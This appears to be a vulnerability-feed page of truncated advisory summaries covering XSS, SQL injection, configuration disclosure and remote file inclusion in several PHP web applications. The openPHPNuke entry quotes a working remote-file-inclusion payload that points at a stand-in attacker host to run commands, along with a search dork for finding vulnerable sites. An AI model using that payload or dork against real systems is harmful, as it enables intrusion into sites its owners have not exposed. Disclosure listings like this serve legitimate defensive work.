alaskavu.fr XSS vulnerability

Open Bug Bounty ID: OBB-574984 Description| Value ---|--- Affected Website:| alaskavu.fr Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

SimpNews 2.16.2 and Below Multiple SQL Injection Vulnerabilities

No description provided by source. ============================================================================================================== o SimpNews Multiple SQL Injection Vulnerabilities Software : SimpNews version 2.16.2 and below Vendor : http://www.boesch-it.de/ Author : NoGe Contact ...

Phorum 3.x PHP Configuration Disclosure Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/1985/info Phorum is a PHP based web forums package. Due to an error in the implementation of forum selection in administrative scripts, any user can view the any PHP script on the target host. This is due to user-supplied...

SimpNews 2.16.2 - Multiple SQL Injections

SimpNews 2.16.2 - Multiple SQL Injections ============================================================================================================== o SimpNews Multiple SQL Injection Vulnerabilities Software : SimpNews version 2.16.2 and below Vendor : http://www.boesch-it.de/ Author : NoGe...

CVE-2006-2137

PHP remote file inclusion vulnerability in master.php in OpenPHPNuke and 2.3.3 earlier allows remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter...

openPHPNuke 2.3.3 - Remote File Inclusion

openPHPNuke 2.3.3 - Remote File Inclusion Title: OpenPHPNuke = 2.3.3 Remote File Inclusion URL: http://www.openphpnuke.com/ Dork: inurl:/system/article/alltopics.php OR inurl:/system/user/index.php Credits: Oo Exploit: /master.php?rootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.com 2006-04-29...

CVE-2024-35355

A vulnerability has been discovered in Diño Physics School Assistant version 2.3. The vulnerability impacts an unidentified code within the file /classes/Master.php?f=deletecategory. Manipulating the argument id can result in SQL injection...

CVE-2024-35354

A vulnerability has been discovered in Diño Physics School Assistant version 2.3. The vulnerability impacts an unidentified code within the file /classes/Master.php?f=savecategory. Manipulating the argument id can result in SQL injection...